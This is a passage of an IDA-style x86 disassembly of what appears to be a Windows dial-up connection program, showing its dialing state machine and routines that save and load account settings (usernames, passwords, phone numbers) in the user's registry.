loc_4083BB:				; CODE XREF: sub_408350+30j
		mov	eax, [esi+60h]
		cmp	eax, 9		; switch 10 cases
		ja	loc_4088B0	; default
		push	ebp
		push	edi
		jmp	ds:off_4088E0[eax*4] ; switch jump


loc_4083D0:				; DATA XREF: .text:off_4088E0o
		cmp	ds:byte_40F7F9,	bl ; jumptable 004083C9	case 1
		jz	short loc_4083E3
		mov	eax, [esi+4]
		push	ebx
		push	eax
		call	ds:dword_40F228	; ShowWindow


loc_4083E3:				; CODE XREF: sub_408350+86j
		push	1F5h
		push	esi
		mov	dword ptr [esi+60h], 2
		call	sub_405D70
		add	esp, 8
		push	386h
		push	1
		mov	ecx, esi
		call	sub_406060
		mov	ecx, dword_41252C
		call	sub_409860
		push	1FBh
		push	esi
		call	sub_405D70
		add	esp, 8
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_408424:				; CODE XREF: sub_408350+79j
					; DATA XREF: .text:off_4088E0o
		cmp	ds:byte_40F7F9,	bl ; jumptable 004083C9	case 2
		jz	short loc_408437
		mov	ecx, [esi+4]
		push	ebx
		push	ecx
		call	ds:dword_40F228	; ShowWindow


loc_408437:				; CODE XREF: sub_408350+DAj
		mov	ecx, dword_41252C
		call	sub_409930
		test	eax, eax
		jg	loc_4088AE
		lea	edx, [esp+98h+var_88]
		mov	dword ptr [esi+60h], 5
		mov	ecx, dword_41252C
		push	edx
		call	sub_409BC0
		mov	ecx, [esp+98h+var_88]
		cmp	ecx, ebx
		jz	loc_4088AE
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4065D0
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_40847B:				; CODE XREF: sub_408350+79j
					; DATA XREF: .text:off_4088E0o
		cmp	ds:byte_40F7F9,	bl ; jumptable 004083C9	case 3
		jz	short loc_40848E
		mov	eax, [esi+4]
		push	ebx
		push	eax
		call	ds:dword_40F228	; ShowWindow


loc_40848E:				; CODE XREF: sub_408350+131j
		push	386h
		push	1
		mov	ecx, esi
		mov	dword ptr [esi+60h], 4
		call	sub_406060
		mov	ecx, dword_41252C
		push	0BB8h
		call	sub_4097C0
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_4084B8:				; CODE XREF: sub_408350+79j
					; DATA XREF: .text:off_4088E0o
		cmp	ds:byte_40F7F9,	bl ; jumptable 004083C9	case 4
		jz	short loc_4084CB
		mov	ecx, [esi+4]
		push	ebx
		push	ecx
		call	ds:dword_40F228	; ShowWindow


loc_4084CB:				; CODE XREF: sub_408350+16Ej
		mov	ecx, dword_41252C
		lea	edx, [esp+98h+var_88]
		push	edx
		call	sub_409BC0
		cmp	eax, 2001h
		jnz	short loc_4084E9
		mov	dword ptr [esi+60h], 5


loc_4084E9:				; CODE XREF: sub_408350+190j
		mov	ecx, [esp+98h+var_88]
		cmp	ecx, ebx
		jz	loc_4088AE
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4065D0
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_408503:				; CODE XREF: sub_408350+79j
					; DATA XREF: .text:off_4088E0o
		cmp	ds:byte_40F7F9,	bl ; jumptable 004083C9	case 5
		jz	short loc_408516
		mov	eax, [esi+4]
		push	ebx
		push	eax
		call	ds:dword_40F228	; ShowWindow


loc_408516:				; CODE XREF: sub_408350+1B9j
		mov	dword ptr [esi+60h], 6
		mov	ecx, dword_41252C
		call	sub_409E10
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_408560
		lea	ecx, [esp+98h+var_84]
		push	ecx
		push	edi
		lea	edx, [esp+0A0h+var_58]
		push	edx
		mov	ecx, esi
		call	sub_406580
		mov	ecx, eax
		call	sub_409F60
		push	eax
		push	edi
		push	offset aUpdateentryDS ;	"UpdateEntry: %d - %s"
		push	esi
		call	sub_405E40
		add	esp, 10h
		lea	ecx, [esp+98h+var_58]
		call	sub_401D10


loc_408560:				; CODE XREF: sub_408350+1DCj
		mov	ecx, dword_41252C
		call	sub_409D70
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4085AF
		lea	eax, [esp+98h+var_84]
		push	eax
		push	edi
		lea	ecx, [esp+0A0h+var_2C]
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esi+60h], 8
		call	sub_406580
		mov	ecx, eax
		call	sub_409F60
		push	eax
		push	edi
		push	offset aDialDS	; "Dial: %d - %s"
		push	esi
		call	sub_405E40
		add	esp, 10h
		lea	ecx, [esp+98h+var_2C]
		call	sub_401D10
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_4085AF:				; CODE XREF: sub_408350+21Fj
		mov	dword_412538, 0Ah
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_4085BE:				; CODE XREF: sub_408350+79j
					; DATA XREF: .text:off_4088E0o
		cmp	ds:byte_40F7F9,	bl ; jumptable 004083C9	case 6
		mov	edi, ds:dword_40F228
		jz	short loc_4085D3
		mov	edx, [esi+4]
		push	ebx
		push	edx
		call	edi	; ShowWindow


loc_4085D3:				; CODE XREF: sub_408350+27Aj
		mov	ecx, dword_41252C
		lea	eax, [esp+98h+var_88]
		push	eax
		call	sub_409BC0
		mov	ebp, eax
		sub	eax, 2000h
		jz	short loc_408625
		dec	eax
		jnz	loc_40868E
		mov	eax, dword_412538
		mov	ecx, eax
		dec	eax
		test	ecx, ecx
		mov	dword_412538, eax
		jg	loc_40868E
		mov	edx, [esp+98h+var_88]
		push	edx
		push	ebp
		mov	ecx, esi
		mov	byte ptr [esi+59h], 1
		mov	dword ptr [esi+60h], 8
		call	sub_4065D0
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_408625:				; CODE XREF: sub_408350+29Aj
		push	387h
		push	1
		mov	ecx, esi
		mov	dword ptr [esi+60h], 7
		call	sub_406060
		mov	ecx, dword_41252C
		call	sub_409E10
		cmp	ds:byte_40F7F9,	bl
		jnz	short loc_408655
		mov	edx, [esi+4]
		push	2
		push	edx
		call	edi	; ShowWindow


loc_408655:				; CODE XREF: sub_408350+2FBj
		mov	eax, [esi+5Ch]
		push	eax		; Str1
		mov	ecx, esi
		call	sub_406FE0
		push	offset aXx_0	; "xx"
		mov	ecx, esi
		call	sub_406FE0
		lea	ecx, [esi+24h]
		call	sub_408FA0
		push	eax
		mov	ecx, esi
		call	sub_405BC0
		mov	ecx, [esi+4]
		push	ebx
		push	3E8h
		push	1
		push	ecx
		call	ds:dword_40F1C0	; SetTimer


loc_40868E:				; CODE XREF: sub_408350+29Dj
					; sub_408350+2B2j
		mov	edx, [esp+98h+var_88]
		push	edx
		push	ebp
		mov	ecx, esi
		call	sub_4065D0
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_4086A0:				; CODE XREF: sub_408350+79j
					; DATA XREF: .text:off_4088E0o
		cmp	ds:byte_40F7F9,	bl ; jumptable 004083C9	case 7
		jz	short loc_4086B3
		mov	eax, [esi+4]
		push	ebx
		push	eax
		call	ds:dword_40F228	; ShowWindow


loc_4086B3:				; CODE XREF: sub_408350+356j
		lea	ecx, [esp+98h+var_88]
		mov	byte ptr [esi+58h], 1
		push	ecx
		mov	ecx, dword_41252C
		call	sub_409BC0
		mov	edi, eax
		cmp	edi, 2001h
		jnz	short loc_4086EA
		mov	edx, [esi+4]
		push	ebx
		push	0FAh
		push	1
		push	edx
		mov	dword ptr [esi+60h], 8
		call	ds:dword_40F1C0	; SetTimer


loc_4086EA:				; CODE XREF: sub_408350+37Fj
		mov	eax, [esp+98h+var_88]
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_4065D0
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_4086FC:				; CODE XREF: sub_408350+79j
					; DATA XREF: .text:off_4088E0o
		cmp	ds:byte_40F7F9,	bl ; jumptable 004083C9	case 8
		jz	short loc_40870F
		mov	ecx, [esi+4]
		push	ebx
		push	ecx
		call	ds:dword_40F228	; ShowWindow


loc_40870F:				; CODE XREF: sub_408350+3B2j
		push	386h
		push	1
		mov	ecx, esi
		mov	dword ptr [esi+60h], 9
		call	sub_406060
		mov	ecx, dword_41252C
		push	0BB8h
		call	sub_4097C0
		mov	edx, [esi+4]
		push	ebx
		push	0FAh
		push	1
		push	edx
		call	ds:dword_40F1C0	; SetTimer
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_40874B:				; CODE XREF: sub_408350+79j
					; DATA XREF: .text:off_4088E0o
		cmp	ds:byte_40F7F9,	bl ; jumptable 004083C9	case 9
		jz	short loc_40875E
		mov	eax, [esi+4]
		push	ebx
		push	eax
		call	ds:dword_40F228	; ShowWindow


loc_40875E:				; CODE XREF: sub_408350+401j
		lea	ecx, [esp+98h+var_88]
		push	ecx
		mov	ecx, dword_41252C
		call	sub_409BC0
		cmp	eax, 2001h
		jnz	short loc_408778
		mov	[esi+60h], ebx


loc_408778:				; CODE XREF: sub_408350+423j
		mov	edx, [esp+98h+var_88]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4065D0
		jmp	loc_4088AE
; ---------------------------------------------------------------------------


loc_40878A:				; CODE XREF: sub_408350+79j
					; DATA XREF: .text:off_4088E0o
		cmp	[esi+58h], bl	; jumptable 004083C9 case 0
		jnz	short loc_40880E
		cmp	[esi+5Ah], bl
		jnz	short loc_40880E
		lea	edi, [esi+24h]
		push	2
		mov	ecx, edi
		call	sub_408E80
		mov	ecx, dword_41252C
		push	eax
		call	sub_409780
		push	2
		mov	ecx, edi
		call	sub_408EC0
		mov	ecx, dword_41252C
		push	eax
		call	sub_4097A0
		push	2
		mov	ecx, edi
		call	sub_408F00
		mov	ecx, dword_41252C
		push	eax
		call	sub_409730
		mov	eax, [esi+4]
		push	ebx
		push	ebx
		push	184h
		push	0CCh
		push	eax
		mov	dword ptr [esi+60h], 3
		call	ds:dword_40F1C4	; SendDlgItemMessageA
		mov	ecx, [esi+4]
		push	ebx
		push	0FAh
		push	1
		push	ecx
		call	ds:dword_40F1C0	; SetTimer
		mov	byte ptr [esi+5Ah], 1
		jmp	loc_4088AB
; ---------------------------------------------------------------------------


loc_40880E:				; CODE XREF: sub_408350+43Dj
					; sub_408350+442j
		mov	edx, [esi+4]
		push	1
		push	edx
		call	ds:dword_40F1BC	; KillTimer
		push	385h
		push	1
		mov	ecx, esi
		call	sub_406060
		mov	ecx, dword_41252C
		lea	edi, [esi+24h]
		call	sub_4098E0
		mov	ecx, edi
		mov	ebp, eax
		call	sub_408FC0
		add	ebp, eax
		push	ebp
		mov	ecx, edi
		call	sub_408FB0
		mov	ecx, edi
		call	sub_408E40
		push	1
		mov	ecx, edi
		call	sub_408E80
		mov	ecx, dword_41252C
		push	eax
		call	sub_409780
		push	1
		mov	ecx, edi
		call	sub_408EC0
		mov	ecx, dword_41252C
		push	eax
		call	sub_4097A0
		push	1
		mov	ecx, edi
		call	sub_408F00
		mov	ecx, dword_41252C
		push	eax
		call	sub_409730
		cmp	ds:byte_40F7F9,	bl
		jz	short loc_40889F
		mov	eax, [esi+4]
		push	5
		push	eax
		jmp	short loc_4088A5
; ---------------------------------------------------------------------------


loc_40889F:				; CODE XREF: sub_408350+545j
		mov	ecx, [esi+4]
		push	9
		push	ecx


loc_4088A5:				; CODE XREF: sub_408350+54Dj
		call	ds:dword_40F228	; ShowWindow


loc_4088AB:				; CODE XREF: sub_408350+4B9j
		mov	[esi+59h], bl


loc_4088AE:				; CODE XREF: sub_408350+CFj
					; sub_408350+F4j ...
		pop	edi
		pop	ebp


loc_4088B0:				; CODE XREF: sub_408350+66j
					; sub_408350+71j
		mov	eax, [esp+90h+Memory] ;	default
		cmp	eax, ebx
		jz	short loc_4088C5
		push	eax		; Memory
		call	_free
		mov	[esp+94h+Memory], ebx
		add	esp, 4


loc_4088C5:				; CODE XREF: sub_408350+566j
		mov	edx, [esp+90h+var_84]
		push	edx
		call	ds:dword_40F194
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 88h
		retn	10h
sub_408350	endp

; ---------------------------------------------------------------------------
		align 10h
off_4088E0	dd offset loc_40878A	; DATA XREF: sub_408350+79r
		dd offset loc_4083D0	; jump table for switch	statement
		dd offset loc_408424
		dd offset loc_40847B
		dd offset loc_4084B8
		dd offset loc_408503
		dd offset loc_4085BE
		dd offset loc_4086A0
		dd offset loc_4086FC
		dd offset loc_40874B
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408910	proc near		; CODE XREF: sub_404B20+Cp
					; sub_406390+109p
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi]
		push	eax		; Memory
		call	_free
		mov	ecx, [edi+4]
		xor	ebx, ebx
		push	ecx		; Memory
		mov	[edi], ebx
		call	_free
		add	esp, 8
		mov	[edi+4], ebx
		lea	esi, [edi+10h]
		mov	ebp, 2
		lea	esp, [esp+0]


loc_408940:				; CODE XREF: sub_408910+6Bj
		mov	eax, [esi-8]
		cmp	eax, ebx
		jz	short loc_408953
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esi-8], ebx


loc_408953:				; CODE XREF: sub_408910+35j
		mov	eax, [esi]
		cmp	eax, ebx
		jz	short loc_408964
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esi], ebx


loc_408964:				; CODE XREF: sub_408910+47j
		mov	eax, [esi+8]
		cmp	eax, ebx
		jz	short loc_408977
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esi+8], ebx


loc_408977:				; CODE XREF: sub_408910+59j
		add	esi, 4
		dec	ebp
		jnz	short loc_408940
		mov	eax, [edi+20h]
		cmp	eax, ebx
		jz	short loc_408990
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[edi+20h], ebx


loc_408990:				; CODE XREF: sub_408910+72j
		mov	eax, [edi+28h]
		cmp	eax, ebx
		jz	short loc_4089A3
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[edi+28h], ebx


loc_4089A3:				; CODE XREF: sub_408910+85j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_408910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4089B0	proc near		; CODE XREF: sub_408A10+4Ep
					; sub_408B20+10p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_4089C5
		push	eax		; Memory
		call	_free
		add	esp, 4


loc_4089C5:				; CODE XREF: sub_4089B0+Aj
		mov	esi, [esp+8+arg_4]
		test	esi, esi
		jnz	short loc_4089D6
		mov	[edi], esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4089D6:				; CODE XREF: sub_4089B0+1Bj
		push	esi
		call	ds:dword_40F084	; lstrlen
		inc	eax
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		mov	[edi], eax
		jnz	short loc_4089F4
		pop	edi
		xor	al, al
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4089F4:				; CODE XREF: sub_4089B0+3Bj
		push	esi
		push	eax
		call	ds:dword_40F0A0	; lstrcpy
		pop	edi
		mov	al, 1
		pop	esi
		retn	8
sub_4089B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408A10	proc near		; CODE XREF: sub_408E60+13p
					; sub_408EA0+13p

var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_8]
		sub	esp, 400h
		push	esi
		push	400h
		lea	eax, [esp+408h+var_400]
		mov	esi, ecx
		mov	ecx, [esp+408h+arg_C]
		push	eax
		push	ecx
		push	edx
		call	ds:dword_40F1E4	; LoadStringA
		test	eax, eax
		jz	short loc_408A6D
		mov	eax, [esp+404h+arg_0]
		cmp	eax, 1
		jl	short loc_408A6D
		cmp	eax, 2
		jg	short loc_408A6D
		mov	edx, [esp+404h+arg_4]
		lea	ecx, [esp+404h+var_400]
		push	ecx
		lea	eax, [edx+eax*4-4]
		push	eax
		mov	ecx, esi
		call	sub_4089B0
		pop	esi
		add	esp, 400h
		retn	10h
; ---------------------------------------------------------------------------


loc_408A6D:				; CODE XREF: sub_408A10+28j
					; sub_408A10+34j ...
		xor	al, al
		pop	esi
		add	esp, 400h
		retn	10h
sub_408A10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408A80	proc near		; CODE XREF: sub_408B20+62p
					; sub_408B20+7Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	edx, [ebx]
		push	ebp
		mov	ebp, ds:dword_40F01C
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		lea	eax, [esp+0Ch+arg_4]
		push	eax
		push	0
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		push	0
		push	edi
		push	edx
		call	ebp	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_408AB0
		cmp	[esp+0Ch+arg_0], 1
		jz	short loc_408AB8


loc_408AB0:				; CODE XREF: sub_408A80+27j
		pop	edi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_408AB8:				; CODE XREF: sub_408A80+2Ej
		push	esi
		mov	esi, [esp+10h+arg_8]
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_408ACC
		push	eax		; Memory
		call	_free
		add	esp, 4


loc_408ACC:				; CODE XREF: sub_408A80+41j
		mov	eax, [esp+10h+arg_4]
		inc	eax
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		mov	[esi], eax
		jz	short loc_408B08
		lea	ecx, [esp+10h+arg_4]
		push	ecx
		push	eax
		mov	eax, [ebx]
		lea	edx, [esp+18h+arg_0]
		push	edx
		push	0
		push	edi
		push	eax
		call	ebp	; RegQueryValueExA
		test	eax, eax
		jz	short loc_408B11
		mov	ecx, [esi]
		push	ecx		; Memory
		call	_free
		add	esp, 4
		mov	dword ptr [esi], 0


loc_408B08:				; CODE XREF: sub_408A80+5Ej
		pop	esi
		pop	edi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_408B11:				; CODE XREF: sub_408A80+75j
		pop	esi
		pop	edi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn	0Ch
sub_408A80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408B20	proc near		; CODE XREF: sub_406390+5Dp
					; sub_407AF0+59p

Str		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	edi
		lea	eax, [esi+28h]
		push	eax
		call	sub_4089B0
		lea	ecx, [esp+10h+var_4]
		push	ecx
		lea	edx, [esp+14h+arg_0]
		push	edx
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	edi
		push	80000001h
		mov	[esp+34h+arg_0], 0
		call	ds:dword_40F000	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_408B6E
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------


loc_408B6E:				; CODE XREF: sub_408B20+42j
		push	ebx
		push	esi
		push	offset aVersion	; "version"
		lea	eax, [esp+1Ch+arg_0]
		xor	edi, edi
		push	eax
		mov	ecx, esi
		mov	[esp+20h+Str], edi
		call	sub_408A80
		test	al, al
		jz	loc_408C6C
		lea	ecx, [esi+4]
		push	ecx
		push	offset aSerial	; "serial"
		lea	edx, [esp+1Ch+arg_0]
		push	edx
		mov	ecx, esi
		call	sub_408A80
		test	al, al
		jz	loc_408C6C
		lea	eax, [esi+8]
		push	eax
		push	offset aUsername1 ; "username1"
		lea	ecx, [esp+1Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_408A80
		test	al, al
		jz	loc_408C6C
		lea	edx, [esi+0Ch]
		push	edx
		push	offset aUsername2 ; "username2"
		lea	eax, [esp+1Ch+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_408A80
		test	al, al
		jz	loc_408C6C
		lea	ecx, [esi+10h]
		push	ecx
		push	offset aPassword1 ; "password1"
		lea	edx, [esp+1Ch+arg_0]
		push	edx
		mov	ecx, esi
		call	sub_408A80
		test	al, al
		jz	short loc_408C6C
		lea	eax, [esi+14h]
		push	eax
		push	offset aPassword2 ; "password2"
		lea	ecx, [esp+1Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_408A80
		test	al, al
		jz	short loc_408C6C
		lea	edx, [esi+18h]
		push	edx
		push	offset aPhonenumber1 ; "phonenumber1"
		lea	eax, [esp+1Ch+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_408A80
		test	al, al
		jz	short loc_408C6C
		lea	ecx, [esi+1Ch]
		push	ecx
		push	offset aPhonenumber2 ; "phonenumber2"
		lea	edx, [esp+1Ch+arg_0]
		push	edx
		mov	ecx, esi
		call	sub_408A80
		test	al, al
		jz	short loc_408C6C
		lea	eax, [esp+14h+Str]
		push	eax
		push	offset aConnecttime ; "connecttime"
		lea	ecx, [esp+1Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_408A80
		test	al, al
		mov	edi, [esp+14h+Str]
		jz	short loc_408C6C
		mov	bl, 1
		jmp	short loc_408C6E
; ---------------------------------------------------------------------------


loc_408C6C:				; CODE XREF: sub_408B20+69j
					; sub_408B20+86j ...
		xor	bl, bl


loc_408C6E:				; CODE XREF: sub_408B20+14Aj
		mov	edx, [esp+14h+arg_0]
		push	edx
		call	ds:dword_40F020	; RegCloseKey
		cmp	bl, 1
		jnz	short loc_408C9C
		push	0Ah		; Radix
		lea	eax, [esp+18h+Str]
		push	eax		; EndPtr
		push	edi		; Str
		call	_strtol
		mov	ecx, [esp+20h+Str]
		mov	[esi+24h], eax
		mov	al, [ecx]
		add	esp, 0Ch
		test	al, al
		setz	bl


loc_408C9C:				; CODE XREF: sub_408B20+15Cj
		test	edi, edi
		jz	short loc_408CA9
		push	edi		; Memory
		call	_free
		add	esp, 4


loc_408CA9:				; CODE XREF: sub_408B20+17Ej
		mov	al, bl
		pop	ebx
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
sub_408B20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408CC0	proc near		; CODE XREF: sub_408CF0+CFp
					; sub_408CF0+E8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	esi
		call	ds:dword_40F084	; lstrlen
		mov	ecx, [esp+4+arg_0]
		mov	edx, [ecx]
		push	eax
		mov	eax, [esp+8+arg_4]
		push	esi
		push	1
		push	0
		push	eax
		push	edx
		call	ds:dword_40F010	; RegSetValueExA
		neg	eax
		sbb	al, al
		inc	al
		pop	esi
		retn	0Ch
sub_408CC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408CF0	proc near		; CODE XREF: sub_408E40+Bp

var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
arg_0		= dword	ptr  4

		sub	esp, 44h
		mov	edx, [esp+44h+arg_0]
		push	esi
		lea	eax, [esp+48h+arg_0]
		push	eax
		mov	esi, ecx
		lea	ecx, [esp+4Ch+var_44]
		push	ecx
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	edx
		push	80000001h
		mov	[esp+6Ch+var_44], 0
		call	ds:dword_40F000	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_408D32
		xor	al, al
		pop	esi
		add	esp, 44h
		retn	4
; ---------------------------------------------------------------------------


loc_408D32:				; CODE XREF: sub_408CF0+37j
		mov	ecx, [esi+24h]
		push	ebx
		push	ebp
		push	edi
		push	0Ah		; int
		lea	eax, [esp+58h+var_40]
		push	eax		; char *
		push	ecx		; __int32
		call	__ltoa
		mov	edi, [esi]
		mov	ebx, ds:dword_40F084
		add	esp, 0Ch
		push	edi
		call	ebx	; lstrlen
		mov	edx, dword ptr [esp+50h+var_40]
		mov	ebp, ds:dword_40F010
		push	eax
		push	edi
		push	1
		push	0
		push	offset aVersion	; "version"
		push	edx
		call	ebp	; RegSetValueExA
		test	eax, eax
		jnz	loc_408E18
		mov	edi, [esi+4]
		push	edi
		call	ebx	; lstrlen
		push	eax
		mov	eax, dword ptr [esp+54h+var_40]
		push	edi
		push	1
		push	0
		push	offset aSerial	; "serial"
		push	eax
		call	ebp	; RegSetValueExA
		test	eax, eax
		jnz	loc_408E18
		mov	edi, [esi+8]
		push	edi
		call	ebx	; lstrlen
		mov	ecx, dword ptr [esp+50h+var_40]
		push	eax
		push	edi
		push	1
		push	0
		push	offset aUsername1 ; "username1"
		push	ecx
		call	ebp	; RegSetValueExA
		test	eax, eax
		jnz	short loc_408E18
		mov	edx, [esi+0Ch]
		push	edx
		push	offset aUsername2 ; "username2"
		lea	eax, [esp+58h+var_40]
		push	eax
		mov	ecx, esi
		call	sub_408CC0
		test	al, al
		jz	short loc_408E18
		mov	ecx, [esi+10h]
		push	ecx
		push	offset aPassword1 ; "password1"
		lea	edx, [esp+58h+var_40]
		push	edx
		mov	ecx, esi
		call	sub_408CC0
		test	al, al
		jz	short loc_408E18
		mov	eax, [esi+14h]
		push	eax
		push	offset aPassword2 ; "password2"
		lea	ecx, [esp+58h+var_40]
		push	ecx
		mov	ecx, esi
		call	sub_408CC0
		test	al, al
		jz	short loc_408E18
		lea	edx, [esp+50h+var_3C]
		push	edx
		push	offset aConnecttime ; "connecttime"
		lea	eax, [esp+58h+var_40]
		push	eax
		mov	ecx, esi
		call	sub_408CC0
		test	al, al
		jz	short loc_408E18
		mov	bl, 1
		jmp	short loc_408E1A
; ---------------------------------------------------------------------------


loc_408E18:				; CODE XREF: sub_408CF0+7Dj
					; sub_408CF0+9Dj ...
		xor	bl, bl


loc_408E1A:				; CODE XREF: sub_408CF0+126j
		mov	ecx, dword ptr [esp+50h+var_40]
		push	ecx
		call	ds:dword_40F020	; RegCloseKey
		pop	edi
		pop	ebp
		mov	al, bl
		pop	ebx
		pop	esi
		add	esp, 44h
		retn	4
sub_408CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408E40	proc near		; CODE XREF: sub_407D40+500p
					; sub_408350+4FBp
		mov	eax, [ecx+28h]
		test	eax, eax
		jnz	short loc_408E4A
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_408E4A:				; CODE XREF: sub_408E40+5j
		push	eax
		call	sub_408CF0
		retn
sub_408E40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408E60	proc near		; CODE XREF: sub_405BF0+1Fp
					; sub_405BF0+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		push	edx
		mov	edx, [esp+8+arg_0]
		lea	eax, [ecx+8]
		push	eax
		push	edx
		call	sub_408A10
		retn	0Ch
sub_408E60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408E80	proc near		; CODE XREF: sub_406390+11Fp
					; sub_408350+44Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jl	short loc_408E95
		cmp	eax, 2
		jg	short loc_408E95
		mov	eax, [ecx+eax*4+4]
		retn	4
; ---------------------------------------------------------------------------


loc_408E95:				; CODE XREF: sub_408E80+7j
					; sub_408E80+Cj
		xor	eax, eax
		retn	4
sub_408E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408EA0	proc near		; CODE XREF: sub_405BF0+3Dp
					; sub_405BF0+4Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		push	edx
		mov	edx, [esp+8+arg_0]
		lea	eax, [ecx+10h]
		push	eax
		push	edx
		call	sub_408A10
		retn	0Ch
sub_408EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408EC0	proc near		; CODE XREF: sub_406390+134p
					; sub_408350+460p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jl	short loc_408ED5
		cmp	eax, 2
		jg	short loc_408ED5
		mov	eax, [ecx+eax*4+0Ch]
		retn	4
; ---------------------------------------------------------------------------


loc_408ED5:				; CODE XREF: sub_408EC0+7j
					; sub_408EC0+Cj
		xor	eax, eax
		retn	4
sub_408EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408EE0	proc near		; CODE XREF: sub_4066F0+83Ep
					; sub_4066F0+84Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jl	short loc_408EFB
		cmp	eax, 2
		jg	short loc_408EFB
		lea	eax, [ecx+eax*4+14h]
		mov	[esp+arg_0], eax
		jmp	sub_4089B0
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_408EE0+7j
					; sub_408EE0+Cj
		xor	al, al
		retn	8
sub_408EE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F00	proc near		; CODE XREF: sub_406390+159p
					; sub_408350+475p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
